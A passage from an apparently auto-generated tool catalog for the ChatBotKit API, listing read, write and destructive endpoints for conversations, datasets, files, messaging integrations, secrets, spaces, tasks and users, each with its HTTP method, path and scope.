/api/v1/chatbotkit/conversation/{conversationId}/message/{messageId}/fetch. Scopes: api. chatbotkit_get_conversation_by_conversationid_message_list (read) — List conversation messages via GET /conversation/{conversationId}/message/list GET /api/v1/chatbotkit/conversation/{conversationId}/message/list. Scopes: api. chatbotkit_get_conversation_by_conversationid_usage_fetch (read) — Fetch conversation usage statistics via GET /conversation/{conversationId}/usage/fetch GET /api/v1/chatbotkit/conversation/{conversationId}/usage/fetch. Scopes: api. chatbotkit_get_conversation_export (read) — Export conversations via GET /conversation/export GET /api/v1/chatbotkit/conversation/export. Scopes: api. chatbotkit_get_conversation_list (read) — List conversations via GET /conversation/list GET /api/v1/chatbotkit/conversation/list. Scopes: api. chatbotkit_get_dataset_by_datasetid_fetch (read) — Fetch a dataset via GET /dataset/{datasetId}/fetch GET /api/v1/chatbotkit/dataset/{datasetId}/fetch. Scopes: api. chatbotkit_get_dataset_by_datasetid_file_list (read) — Retrieve a list of dataset files via GET /dataset/{datasetId}/file/list GET /api/v1/chatbotkit/dataset/{datasetId}/file/list. Scopes: api. chatbotkit_get_dataset_by_datasetid_record_by_recordid_fetch (read) — Fetch a record from a dataset via GET /dataset/{datasetId}/record/{recordId}/fetch GET /api/v1/chatbotkit/dataset/{datasetId}/record/{recordId}/fetch. Scopes: api. chatbotkit_get_dataset_by_datasetid_record_export (read) — Export dataset records via GET /dataset/{datasetId}/record/export GET /api/v1/chatbotkit/dataset/{datasetId}/record/export. Scopes: api. chatbotkit_get_dataset_by_datasetid_record_list (read) — Retrieve a list of dataset records via GET /dataset/{datasetId}/record/list GET /api/v1/chatbotkit/dataset/{datasetId}/record/list. Scopes: api. chatbotkit_get_dataset_list (read) — Retrieve a list of datasets via GET /dataset/list GET /api/v1/chatbotkit/dataset/list. Scopes: api. chatbotkit_get_event_log_export (read) — Export event logs via GET /event/log/export GET /api/v1/chatbotkit/event/log/export. Scopes: api. chatbotkit_get_event_log_list (read) — List event logs via GET /event/log/list GET /api/v1/chatbotkit/event/log/list. Scopes: api. chatbotkit_get_file_by_fileid_download (read) — Download a file via GET /file/{fileId}/download GET /api/v1/chatbotkit/file/{fileId}/download. Scopes: api. chatbotkit_get_file_by_fileid_fetch (read) — Fetch a file via GET /file/{fileId}/fetch GET /api/v1/chatbotkit/file/{fileId}/fetch. Scopes: api. chatbotkit_get_file_list (read) — Retrieve a list of files via GET /file/list GET /api/v1/chatbotkit/file/list. Scopes: api. chatbotkit_get_integration_discord_by_discordintegrationid_fetch (read) — Fetch a discordIntegration via GET /integration/discord/{discordIntegrationId}/fetch GET /api/v1/chatbotkit/integration/discord/{discordIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_discord_list (read) — List Discord integrations via GET /integration/discord/list GET /api/v1/chatbotkit/integration/discord/list. Scopes: api. chatbotkit_get_integration_email_by_emailintegrationid_fetch (read) — Fetch a emailIntegration via GET /integration/email/{emailIntegrationId}/fetch GET /api/v1/chatbotkit/integration/email/{emailIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_email_list (read) — List Email integrations via GET /integration/email/list GET /api/v1/chatbotkit/integration/email/list. Scopes: api. chatbotkit_get_integration_extract_by_extractintegrationid_fetch (read) — Fetch a extractIntegration via GET /integration/extract/{extractIntegrationId}/fetch GET /api/v1/chatbotkit/integration/extract/{extractIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_extract_by_extractintegrationid_item_export (read) — Export extract integration items via GET /integration/extract/{extractIntegrationId}/item/export GET /api/v1/chatbotkit/integration/extract/{extractIntegrationId}/item/export. Scopes: api. chatbotkit_get_integration_extract_by_extractintegrationid_item_list (read) — List extract integration items via GET /integration/extract/{extractIntegrationId}/item/list GET /api/v1/chatbotkit/integration/extract/{extractIntegrationId}/item/list. Scopes: api. chatbotkit_get_integration_extract_list (read) — List Extract integrations via GET /integration/extract/list GET /api/v1/chatbotkit/integration/extract/list. Scopes: api. chatbotkit_get_integration_github_by_githubintegrationid_fetch (read) — Fetch a githubIntegration via GET /integration/github/{githubIntegrationId}/fetch GET /api/v1/chatbotkit/integration/github/{githubIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_github_list (read) — List GitHub integrations via GET /integration/github/list GET /api/v1/chatbotkit/integration/github/list. Scopes: api. chatbotkit_get_integration_googlechat_by_googlechatintegrationid_fetch (read) — Fetch a Google Chat integration via GET /integration/googlechat/{googlechatIntegrationId}/fetch GET /api/v1/chatbotkit/integration/googlechat/{googlechatIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_googlechat_list (read) — List Google Chat integrations via GET /integration/googlechat/list GET /api/v1/chatbotkit/integration/googlechat/list. Scopes: api. chatbotkit_get_integration_instagram_by_instagramintegrationid_fetch (read) — Fetch an Instagram integration via GET /integration/instagram/{instagramIntegrationId}/fetch GET /api/v1/chatbotkit/integration/instagram/{instagramIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_instagram_list (read) — List Instagram integrations via GET /integration/instagram/list GET /api/v1/chatbotkit/integration/instagram/list. Scopes: api. chatbotkit_get_integration_mcpserver_by_mcpserverintegrationid_fetch (read) — Fetch a mcpserverIntegration via GET /integration/mcpserver/{mcpserverIntegrationId}/fetch GET /api/v1/chatbotkit/integration/mcpserver/{mcpserverIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_mcpserver_list (read) — List McpServer integrations via GET /integration/mcpserver/list GET /api/v1/chatbotkit/integration/mcpserver/list. Scopes: api. chatbotkit_get_integration_messenger_by_messengerintegrationid_fetch (read) — Fetch a messengerIntegration via GET /integration/messenger/{messengerIntegrationId}/fetch GET /api/v1/chatbotkit/integration/messenger/{messengerIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_messenger_list (read) — List Messenger integrations via GET /integration/messenger/list GET /api/v1/chatbotkit/integration/messenger/list. Scopes: api. chatbotkit_get_integration_microsoftteams_by_microsoftteamsintegrationid_fetch (read) — Fetch a Microsoft Teams integration via GET /integration/microsoftteams/{microsoftteamsIntegrationId}/fetch GET /api/v1/chatbotkit/integration/microsoftteams/{microsoftteamsIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_microsoftteams_list (read) — List Microsoft Teams integrations via GET /integration/microsoftteams/list GET /api/v1/chatbotkit/integration/microsoftteams/list. Scopes: api. chatbotkit_get_integration_notion_by_notionintegrationid_fetch (read) — Fetch a notionIntegration via GET /integration/notion/{notionIntegrationId}/fetch GET /api/v1/chatbotkit/integration/notion/{notionIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_notion_list (read) — List Notion integrations via GET /integration/notion/list GET /api/v1/chatbotkit/integration/notion/list. Scopes: api. chatbotkit_get_integration_sitemap_by_sitemapintegrationid_fetch (read) — Fetch a sitemapIntegration via GET /integration/sitemap/{sitemapIntegrationId}/fetch GET /api/v1/chatbotkit/integration/sitemap/{sitemapIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_sitemap_list (read) — List Sitemap integrations via GET /integration/sitemap/list GET /api/v1/chatbotkit/integration/sitemap/list. Scopes: api. chatbotkit_get_integration_skillserver_by_skillserverintegrationid_fetch (read) — Fetch a skillserverIntegration via GET /integration/skillserver/{skillserverIntegrationId}/fetch GET /api/v1/chatbotkit/integration/skillserver/{skillserverIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_skillserver_by_skillserverintegrationid_invoke (read) — Fetch the SkillServer manual via GET /integration/skillserver/{skillserverIntegrationId}/invoke GET /api/v1/chatbotkit/integration/skillserver/{skillserverIntegrationId}/invoke. Scopes: api. chatbotkit_get_integration_skillserver_list (read) — List SkillServer integrations via GET /integration/skillserver/list GET /api/v1/chatbotkit/integration/skillserver/list. Scopes: api. chatbotkit_get_integration_slack_by_slackintegrationid_fetch (read) — Fetch a slackIntegration via GET /integration/slack/{slackIntegrationId}/fetch GET /api/v1/chatbotkit/integration/slack/{slackIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_slack_list (read) — List Slack integrations via GET /integration/slack/list GET /api/v1/chatbotkit/integration/slack/list. Scopes: api. chatbotkit_get_integration_support_by_supportintegrationid_fetch (read) — Fetch a supportIntegration via GET /integration/support/{supportIntegrationId}/fetch GET /api/v1/chatbotkit/integration/support/{supportIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_support_list (read) — List Support integrations via GET /integration/support/list GET /api/v1/chatbotkit/integration/support/list. Scopes: api. chatbotkit_get_integration_telegram_by_telegramintegrationid_fetch (read) — Fetch a telegramIntegration via GET /integration/telegram/{telegramIntegrationId}/fetch GET /api/v1/chatbotkit/integration/telegram/{telegramIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_telegram_list (read) — List Telegram integrations via GET /integration/telegram/list GET /api/v1/chatbotkit/integration/telegram/list. Scopes: api. chatbotkit_get_integration_trigger_by_triggerintegrationid_fetch (read) — Fetch a triggerIntegration via GET /integration/trigger/{triggerIntegrationId}/fetch GET /api/v1/chatbotkit/integration/trigger/{triggerIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_trigger_list (read) — List Trigger integrations via GET /integration/trigger/list GET /api/v1/chatbotkit/integration/trigger/list. Scopes: api. chatbotkit_get_integration_twilio_by_twiliointegrationid_fetch (read) — Fetch a twilioIntegration via GET /integration/twilio/{twilioIntegrationId}/fetch GET /api/v1/chatbotkit/integration/twilio/{twilioIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_twilio_list (read) — List Twilio integrations via GET /integration/twilio/list GET /api/v1/chatbotkit/integration/twilio/list. Scopes: api. chatbotkit_get_integration_whatsapp_by_whatsappintegrationid_fetch (read) — Fetch a whatsappIntegration via GET /integration/whatsapp/{whatsappIntegrationId}/fetch GET /api/v1/chatbotkit/integration/whatsapp/{whatsappIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_whatsapp_list (read) — List WhatsApp integrations via GET /integration/whatsapp/list GET /api/v1/chatbotkit/integration/whatsapp/list. Scopes: api. chatbotkit_get_integration_widget_by_widgetintegrationid_fetch (read) — Fetch a widgetIntegration via GET /integration/widget/{widgetIntegrationId}/fetch GET /api/v1/chatbotkit/integration/widget/{widgetIntegrationId}/fetch. Scopes: api. chatbotkit_get_integration_widget_list (read) — List Widget integrations via GET /integration/widget/list GET /api/v1/chatbotkit/integration/widget/list. Scopes: api. chatbotkit_get_magic_list (read) — Retrieve a list of magic prompts via GET /magic/list GET /api/v1/chatbotkit/magic/list. Scopes: api. chatbotkit_get_memory_by_memoryid_fetch (read) — Fetch memory via GET /memory/{memoryId}/fetch GET /api/v1/chatbotkit/memory/{memoryId}/fetch. Scopes: api. chatbotkit_get_memory_export (read) — Export memories via GET /memory/export GET /api/v1/chatbotkit/memory/export. Scopes: api. chatbotkit_get_memory_list (read) — List memories via GET /memory/list GET /api/v1/chatbotkit/memory/list. Scopes: api. chatbotkit_get_platform_ability_list (read) — Retrieve a list of platform abilities via GET /platform/ability/list GET /api/v1/chatbotkit/platform/ability/list. Scopes: api. chatbotkit_get_platform_action_list (read) — Retrieve a list of platform actions via GET /platform/action/list GET /api/v1/chatbotkit/platform/action/list. Scopes: api. chatbotkit_get_platform_doc_by_docid_fetch (read) — Fetch a specific platform doc via GET /platform/doc/{docId}/fetch GET /api/v1/chatbotkit/platform/doc/{docId}/fetch. Scopes: api. chatbotkit_get_platform_doc_list (read) — Retrieve a list of platform docs via GET /platform/doc/list GET /api/v1/chatbotkit/platform/doc/list. Scopes: api. chatbotkit_get_platform_example_by_exampleid_fetch (read) — Fetch a specific platform example with full details via GET /platform/example/{exampleId}/fetch GET /api/v1/chatbotkit/platform/example/{exampleId}/fetch. Scopes: api. chatbotkit_get_platform_example_list (read) — Retrieve a list of platform examples via GET /platform/example/list GET /api/v1/chatbotkit/platform/example/list. Scopes: api. chatbotkit_get_platform_manual_by_manualid_fetch (read) — Fetch a specific platform manual via GET /platform/manual/{manualId}/fetch GET /api/v1/chatbotkit/platform/manual/{manualId}/fetch. Scopes: api. chatbotkit_get_platform_manual_list (read) — Retrieve a list of platform manuals via GET /platform/manual/list GET /api/v1/chatbotkit/platform/manual/list. Scopes: api. chatbotkit_get_platform_model_list (read) — Retrieve a list of platform models via GET /platform/model/list GET /api/v1/chatbotkit/platform/model/list. Scopes: api. chatbotkit_get_platform_report_list (read) — Retrieve a list of available reports via GET /platform/report/list GET /api/v1/chatbotkit/platform/report/list. Scopes: api. chatbotkit_get_platform_secret_list (read) — Retrieve a list of platform secrets via GET /platform/secret/list GET /api/v1/chatbotkit/platform/secret/list. Scopes: api. chatbotkit_get_policy_by_policyid_fetch (read) — Fetch a policy via GET /policy/{policyId}/fetch GET /api/v1/chatbotkit/policy/{policyId}/fetch. Scopes: api. chatbotkit_get_policy_list (read) — Retrieve a list of policies via GET /policy/list GET /api/v1/chatbotkit/policy/list. Scopes: api. chatbotkit_get_portal_by_portalid_fetch (read) — Fetch a portal via GET /portal/{portalId}/fetch GET /api/v1/chatbotkit/portal/{portalId}/fetch. Scopes: api. chatbotkit_get_portal_list (read) — Retrieve a list of portals via GET /portal/list GET /api/v1/chatbotkit/portal/list. Scopes: api. chatbotkit_get_secret_by_secretid_fetch (read) — Fetch a secret via GET /secret/{secretId}/fetch GET /api/v1/chatbotkit/secret/{secretId}/fetch. Scopes: api. chatbotkit_get_secret_list (read) — Retrieve a list of secrets via GET /secret/list GET /api/v1/chatbotkit/secret/list. Scopes: api. chatbotkit_get_skillset_by_skillsetid_ability_by_abilityid_fetch (read) — Fetch a ability from a skillset via GET /skillset/{skillsetId}/ability/{abilityId}/fetch GET /api/v1/chatbotkit/skillset/{skillsetId}/ability/{abilityId}/fetch. Scopes: api. chatbotkit_get_skillset_by_skillsetid_ability_export (read) — Export skillset abilities via GET /skillset/{skillsetId}/ability/export GET /api/v1/chatbotkit/skillset/{skillsetId}/ability/export. Scopes: api. chatbotkit_get_skillset_by_skillsetid_ability_list (read) — Retrieve a list of skillset abilities via GET /skillset/{skillsetId}/ability/list GET /api/v1/chatbotkit/skillset/{skillsetId}/ability/list. Scopes: api. chatbotkit_get_skillset_by_skillsetid_fetch (read) — Fetch a skillset via GET /skillset/{skillsetId}/fetch GET /api/v1/chatbotkit/skillset/{skillsetId}/fetch. Scopes: api. chatbotkit_get_skillset_list (read) — Retrieve a list of skillsets via GET /skillset/list GET /api/v1/chatbotkit/skillset/list. Scopes: api. chatbotkit_get_space_by_spaceid_fetch (read) — Fetch a space via GET /space/{spaceId}/fetch GET /api/v1/chatbotkit/space/{spaceId}/fetch. Scopes: api. chatbotkit_get_space_by_spaceid_site_by_siteid_fetch (read) — Fetch a space site via GET /space/{spaceId}/site/{siteId}/fetch GET /api/v1/chatbotkit/space/{spaceId}/site/{siteId}/fetch. Scopes: api. chatbotkit_get_space_by_spaceid_site_list (read) — List space sites via GET /space/{spaceId}/site/list GET /api/v1/chatbotkit/space/{spaceId}/site/list. Scopes: api. chatbotkit_get_space_by_spaceid_storage_download_by_path (read) — Download a file from space storage via GET /space/{spaceId}/storage/download/{path} GET /api/v1/chatbotkit/space/{spaceId}/storage/download/{path}. Scopes: api. chatbotkit_get_space_by_spaceid_storage_list_by_path (read) — List files and directories in space storage via GET /space/{spaceId}/storage/list/{path} GET /api/v1/chatbotkit/space/{spaceId}/storage/list/{path}. Scopes: api. chatbotkit_get_space_export (read) — Export spaces via GET /space/export GET /api/v1/chatbotkit/space/export. Scopes: api. chatbotkit_get_space_list (read) — List spaces via GET /space/list GET /api/v1/chatbotkit/space/list. Scopes: api. chatbotkit_get_task_by_taskid_execution_list (read) — List task executions via GET /task/{taskId}/execution/list GET /api/v1/chatbotkit/task/{taskId}/execution/list. Scopes: api. chatbotkit_get_task_by_taskid_fetch (read) — Fetch task via GET /task/{taskId}/fetch GET /api/v1/chatbotkit/task/{taskId}/fetch. Scopes: api. chatbotkit_get_task_export (read) — Export tasks via GET /task/export GET /api/v1/chatbotkit/task/export. Scopes: api. chatbotkit_get_task_list (read) — List tasks via GET /task/list GET /api/v1/chatbotkit/task/list. Scopes: api. chatbotkit_get_team_list (read) — Retrieve a list of teams via GET /team/list GET /api/v1/chatbotkit/team/list. Scopes: api. chatbotkit_get_usage_fetch (read) — Fetch usage via GET /usage/fetch GET /api/v1/chatbotkit/usage/fetch. Scopes: api. chatbotkit_get_usage_list (read) — List usage records via GET /usage/list GET /api/v1/chatbotkit/usage/list. Scopes: api. chatbotkit_get_usage_series_fetch (read) — Fetch usage series via GET /usage/series/fetch GET /api/v1/chatbotkit/usage/series/fetch. Scopes: api. chatbotkit_get_user_by_userid_context_by_contextid_fetch (read) — Fetch a user context via GET /user/{userId}/context/{contextId}/fetch GET /api/v1/chatbotkit/user/{userId}/context/{contextId}/fetch. Scopes: api. chatbotkit_get_user_by_userid_context_list (read) — List user contexts via GET /user/{userId}/context/list GET /api/v1/chatbotkit/user/{userId}/context/list. Scopes: api. chatbotkit_get_user_by_userid_fetch (read) — Fetch a user via GET /user/{userId}/fetch GET /api/v1/chatbotkit/user/{userId}/fetch. Scopes: api. chatbotkit_get_user_by_userid_token_list (read) — List user tokens via GET /user/{userId}/token/list GET /api/v1/chatbotkit/user/{userId}/token/list. Scopes: api. chatbotkit_get_user_list (read) — List users via GET /user/list GET /api/v1/chatbotkit/user/list. Scopes: api. chatbotkit_post_blueprint_by_blueprintid_bulletin_create (write) — Post a bulletin to a blueprint's shared board via POST /blueprint/{blueprintId}/bulletin/create POST /api/v1/chatbotkit/blueprint/{blueprintId}/bulletin/create. Scopes: api. chatbotkit_post_blueprint_by_blueprintid_clone (write) — Clone a blueprint via POST /blueprint/{blueprintId}/clone POST /api/v1/chatbotkit/blueprint/{blueprintId}/clone. Scopes: api. chatbotkit_post_blueprint_by_blueprintid_delete (write, destructive) — Delete a blueprint via POST /blueprint/{blueprintId}/delete POST /api/v1/chatbotkit/blueprint/{blueprintId}/delete. Scopes: api. chatbotkit_post_blueprint_by_blueprintid_resource_import (write) — Import resources into an existing blueprint via POST /blueprint/{blueprintId}/resource/import POST /api/v1/chatbotkit/blueprint/{blueprintId}/resource/import. Scopes: api. chatbotkit_post_blueprint_by_blueprintid_update (write) — Update blueprint via POST /blueprint/{blueprintId}/update POST /api/v1/chatbotkit/blueprint/{blueprintId}/update. Scopes: api. chatbotkit_post_blueprint_create (write) — Create blueprint via POST /blueprint/create POST /api/v1/chatbotkit/blueprint/create. Scopes: api. chatbotkit_post_bot_by_botid_clone (write) — Clone bot via POST /bot/{botId}/clone POST /api/v1/chatbotkit/bot/{botId}/clone. Scopes: api. chatbotkit_post_bot_by_botid_delete (write, destructive) — Delete a bot via POST /bot/{botId}/delete POST /api/v1/chatbotkit/bot/{botId}/delete. Scopes: api. chatbotkit_post_bot_by_botid_downvote (write) — Downvote a bot via POST /bot/{botId}/downvote POST /api/v1/chatbotkit/bot/{botId}/downvote. Scopes: api. chatbotkit_post_bot_by_botid_memory_search (write) — Search memories for a specific bot via POST /bot/{botId}/memory/search POST /api/v1/chatbotkit/bot/{botId}/memory/search. Scopes: api. chatbotkit_post_bot_by_botid_session_create (write) — Create bot session via POST /bot/{botId}/session/create POST /api/v1/chatbotkit/bot/{botId}/session/create. Scopes: api. chatbotkit_post_bot_by_botid_update (write) — Update bot via POST /bot/{botId}/update POST /api/v1/chatbotkit/bot/{botId}/update. Scopes: api. chatbotkit_post_bot_by_botid_upvote (write) — Upvote a bot via POST /bot/{botId}/upvote POST /api/v1/chatbotkit/bot/{botId}/upvote. Scopes: api. chatbotkit_post_bot_create (write) — Create bot via POST /bot/create POST /api/v1/chatbotkit/bot/create. Scopes: api. chatbotkit_post_channel_by_channelid_publish (write) — Publish a message to a channel via POST /channel/{channelId}/publish POST /api/v1/chatbotkit/channel/{channelId}/publish. Scopes: api. chatbotkit_post_contact_by_contactid_delete (write, destructive) — Delete contact via POST /contact/{contactId}/delete POST /api/v1/chatbotkit/contact/{contactId}/delete. Scopes: api. chatbotkit_post_contact_by_contactid_memory_search (write) — Search memories for a specific contact via POST /contact/{contactId}/memory/search POST /api/v1/chatbotkit/contact/{contactId}/memory/search. Scopes: api. chatbotkit_post_contact_by_contactid_secret_by_secretid_authenticate (write) — Authenticate contact secret via POST /contact/{contactId}/secret/{secretId}/authenticate POST /api/v1/chatbotkit/contact/{contactId}/secret/{secretId}/authenticate. Scopes: api. chatbotkit_post_contact_by_contactid_secret_by_secretid_mint (write) — Mint a contact's secret for a token via POST /contact/{contactId}/secret/{secretId}/mint POST /api/v1/chatbotkit/contact/{contactId}/secret/{secretId}/mint. Scopes: api. chatbotkit_post_contact_by_contactid_secret_by_secretid_proxy (write) — Proxy a request with a contact's secret via POST /contact/{contactId}/secret/{secretId}/proxy POST /api/v1/chatbotkit/contact/{contactId}/secret/{secretId}/proxy. Scopes: api. chatbotkit_post_contact_by_contactid_secret_by_secretid_revoke (write, destructive) — Revoke contact secret via POST /contact/{contactId}/secret/{secretId}/revoke POST /api/v1/chatbotkit/contact/{contactId}/secret/{secretId}/revoke. Scopes: api. chatbotkit_post_contact_by_contactid_secret_by_secretid_verify (write) — Verify contact secret via POST /contact/{contactId}/secret/{secretId}/verify POST /api/v1/chatbotkit/contact/{contactId}/secret/{secretId}/verify. Scopes: api. chatbotkit_post_contact_by_contactid_update (write) — Update contact via POST /contact/{contactId}/update POST /api/v1/chatbotkit/contact/{contactId}/update. Scopes: api. chatbotkit_post_contact_create (write) — Create a new contact via POST /contact/create POST /api/v1/chatbotkit/contact/create. Scopes: api. chatbotkit_post_contact_ensure (write) — Ensure a contact exists or create a new one via POST /contact/ensure POST /api/v1/chatbotkit/contact/ensure. Scopes: api. chatbotkit_post_conversation_by_conversationid_attachment_upload (write) — Upload a file as a conversation attachment via POST /conversation/{conversationId}/attachment/upload POST /api/v1/chatbotkit/conversation/{conversationId}/attachment/upload. Scopes: api. chatbotkit_post_conversation_by_conversationid_compact (write) — Compact a conversation into a checkpoint via POST /conversation/{conversationId}/compact POST /api/v1/chatbotkit/conversation/{conversationId}/compact. Scopes: api. chatbotkit_post_conversation_by_conversationid_complete (write) — Send and receive a conversation response via POST /conversation/{conversationId}/complete POST /api/v1/chatbotkit/conversation/{conversationId}/complete. Scopes: api. chatbotkit_post_conversation_by_conversationid_contact_upsert (write) — Upsert contact via POST /conversation/{conversationId}/contact/upsert POST /api/v1/chatbotkit/conversation/{conversationId}/contact/upsert. Scopes: api. chatbotkit_post_conversation_by_conversationid_delete (write, destructive) — Delete conversation via POST /conversation/{conversationId}/delete POST /api/v1/chatbotkit/conversation/{conversationId}/delete. Scopes: api. chatbotkit_post_conversation_by_conversationid_dispatch (write) — Dispatch a stateful conversation completion to run in the background via POST /conversation/{conversationId}/dispatch POST /api/v1/chatbotkit/conversation/{conversationId}/dispatch. Scopes: api. chatbotkit_post_conversation_by_conversationid_downvote (write) — Downvote conversation via POST /conversation/{conversationId}/downvote POST /api/v1/chatbotkit/conversation/{conversationId}/downvote. Scopes: api. chatbotkit_post_conversation_by_conversationid_message_by_messageid_delete (write, destructive) — Delete a message via POST /conversation/{conversationId}/message/{messageId}/delete POST /api/v1/chatbotkit/conversation/{conversationId}/message/{messageId}/delete. Scopes: api. chatbotkit_post_conversation_by_conversationid_message_by_messageid_downvote (write) — Downvote conversation message via POST /conversation/{conversationId}/message/{messageId}/downvote POST /api/v1/chatbotkit/conversation/{conversationId}/message/{messageId}/downvote. Scopes: api. chatbotkit_post_conversation_by_conversationid_message_by_messageid_synthesize (write) — Synthesize conversation message via POST /conversation/{conversationId}/message/{messageId}/synthesize POST /api/v1/chatbotkit/conversation/{conversationId}/message/{messageId}/synthesize. Scopes: api. chatbotkit_post_conversation_by_conversationid_message_by_messageid_update (write) — Update conversation message via POST /conversation/{conversationId}/message/{messageId}/update POST /api/v1/chatbotkit/conversation/{conversationId}/message/{messageId}/update. Scopes: api. chatbotkit_post_conversation_by_conversationid_message_by_messageid_upvote (write) — Upvote conversation message via POST /conversation/{conversationId}/message/{messageId}/upvote POST /api/v1/chatbotkit/conversation/{conversationId}/message/{messageId}/upvote. Scopes: api. chatbotkit_post_conversation_by_conversationid_message_create (write) — Create message via POST /conversation/{conversationId}/message/create POST /api/v1/chatbotkit/conversation/{conversationId}/message/create. Scopes: api. chatbotkit_post_conversation_by_conversationid_receive (write) — Receive a conversation response via POST /conversation/{conversationId}/receive POST /api/v1/chatbotkit/conversation/{conversationId}/receive. Scopes: api. chatbotkit_post_conversation_by_conversationid_send (write) — Send a message to a conversation via POST /conversation/{conversationId}/send POST /api/v1/chatbotkit/conversation/{conversationId}/send. Scopes: api. chatbotkit_post_conversation_by_conversationid_session_create (write) — Create conversation session via POST /conversation/{conversationId}/session/create POST /api/v1/chatbotkit/conversation/{conversationId}/session/create. Scopes: api. chatbotkit_post_conversation_by_conversationid_update (write) — Update conversation via POST /conversation/{conversationId}/update POST /api/v1/chatbotkit/conversation/{conversationId}/update. Scopes: api. chatbotkit_post_conversation_by_conversationid_upvote (write) — Upvote conversation via POST /conversation/{conversationId}/upvote POST /api/v1/chatbotkit/conversation/{conversationId}/upvote. Scopes: api. chatbotkit_post_conversation_compact (write) — Compact an array of messages into a single summary via POST /conversation/compact POST /api/v1/chatbotkit/conversation/compact. Scopes: api. chatbotkit_post_conversation_complete (write) — Complete the next message in a conversation via POST /conversation/complete POST /api/v1/chatbotkit/conversation/complete. Scopes: api. chatbotkit_post_conversation_create (write) — Create a new conversation via POST /conversation/create POST /api/v1/chatbotkit/conversation/create. Scopes: api. chatbotkit_post_conversation_dispatch (write) — Dispatch a conversation completion to run in the background via POST /conversation/dispatch POST /api/v1/chatbotkit/conversation/dispatch. Scopes: api. chatbotkit_post_dataset_by_datasetid_delete (write, destructive) — Delete a dataset via POST /dataset/{datasetId}/delete POST /api/v1/chatbotkit/dataset/{datasetId}/delete. Scopes: api. chatbotkit_post_dataset_by_datasetid_file_by_fileid_attach (write) — Attach dataset file via POST /dataset/{datasetId}/file/{fileId}/attach POST /api/v1/chatbotkit/dataset/{datasetId}/file/{fileId}/attach. Scopes: api. chatbotkit_post_dataset_by_datasetid_file_by_fileid_detach (write) — Detach dataset file via POST /dataset/{datasetId}/file/{fileId}/detach POST /api/v1/chatbotkit/dataset/{datasetId}/file/{fileId}/detach. Scopes: api. chatbotkit_post_dataset_by_datasetid_file_by_fileid_sync (write) — Sync dataset file via POST /dataset/{datasetId}/file/{fileId}/sync POST /api/v1/chatbotkit/dataset/{datasetId}/file/{fileId}/sync. Scopes: api. chatbotkit_post_dataset_by_datasetid_record_by_recordid_delete (write, destructive) — Delete a record from a dataset via POST /dataset/{datasetId}/record/{recordId}/delete POST /api/v1/chatbotkit/dataset/{datasetId}/record/{recordId}/delete. Scopes: api. chatbotkit_post_dataset_by_datasetid_record_by_recordid_update (write) — Update a dataset record via POST /dataset/{datasetId}/record/{recordId}/update POST /api/v1/chatbotkit/dataset/{datasetId}/record/{recordId}/update. Scopes: api. chatbotkit_post_dataset_by_datasetid_record_create (write) — Create record via POST /dataset/{datasetId}/record/create POST /api/v1/chatbotkit/dataset/{datasetId}/record/create. Scopes: api. chatbotkit_post_dataset_by_datasetid_search (write) — Search a dataset for records matching a given search query via POST /dataset/{datasetId}/search POST /api/v1/chatbotkit/dataset/{datasetId}/search. Scopes: api. chatbotkit_post_dataset_by_datasetid_update (write) — Update dataset via POST /dataset/{datasetId}/update POST /api/v1/chatbotkit/dataset/{datasetId}/update. Scopes: api. chatbotkit_post_dataset_create (write) — Create dataset via POST /dataset/create POST /api/v1/chatbotkit/dataset/create. Scopes: api. chatbotkit_post_file_by_fileid_delete (write, destructive) — Delete a file via POST /file/{fileId}/delete POST /api/v1/chatbotkit/file/{fileId}/delete. Scopes: api. chatbotkit_post_file_by_fileid_sync (write) — Sync file via POST /file/{fileId}/sync POST /api/v1/chatbotkit/file/{fileId}/sync. Scopes: api. chatbotkit_post_file_by_fileid_update (write) — Update file via POST /file/{fileId}/update POST /api/v1/chatbotkit/file/{fileId}/update. Scopes: api. chatbotkit_post_file_by_fileid_upload (write) — Upload the specified file via POST /file/{fileId}/upload POST /api/v1/chatbotkit/file/{fileId}/upload. Scopes: api. chatbotkit_post_file_create (write) — Create file via POST /file/create POST /api/v1/chatbotkit/file/create. Scopes: api. chatbotkit_post_integration_discord_by_discordintegrationid_delete (write, destructive) — Delete Discord integration via POST /integration/discord/{discordIntegrationId}/delete POST /api/v1/chatbotkit/integration/discord/{discordIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_discord_by_discordintegrationid_initiate (write) — Initiates conversation with the discord integration via POST /integration/discord/{discordIntegrationId}/initiate POST /api/v1/chatbotkit/integration/discord/{discordIntegrationId}/initiate. Scopes: api. chatbotkit_post_integration_discord_by_discordintegrationid_setup (write) — Setup Discord integration via POST /integration/discord/{discordIntegrationId}/setup POST /api/v1/chatbotkit/integration/discord/{discordIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_discord_by_discordintegrationid_update (write) — Update a Discord integration via POST /integration/discord/{discordIntegrationId}/update POST /api/v1/chatbotkit/integration/discord/{discordIntegrationId}/update. Scopes: api. chatbotkit_post_integration_discord_create (write) — Create Discord integration via POST /integration/discord/create POST /api/v1/chatbotkit/integration/discord/create. Scopes: api. chatbotkit_post_integration_email_by_emailintegrationid_delete (write, destructive) — Delete Email integration via POST /integration/email/{emailIntegrationId}/delete POST /api/v1/chatbotkit/integration/email/{emailIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_email_by_emailintegrationid_initiate (write) — Initiates conversation with the email integration via POST /integration/email/{emailIntegrationId}/initiate POST /api/v1/chatbotkit/integration/email/{emailIntegrationId}/initiate. Scopes: api. chatbotkit_post_integration_email_by_emailintegrationid_setup (write) — Setup a Email integration via POST /integration/email/{emailIntegrationId}/setup POST /api/v1/chatbotkit/integration/email/{emailIntegrationId}/setup. Scopes: api. 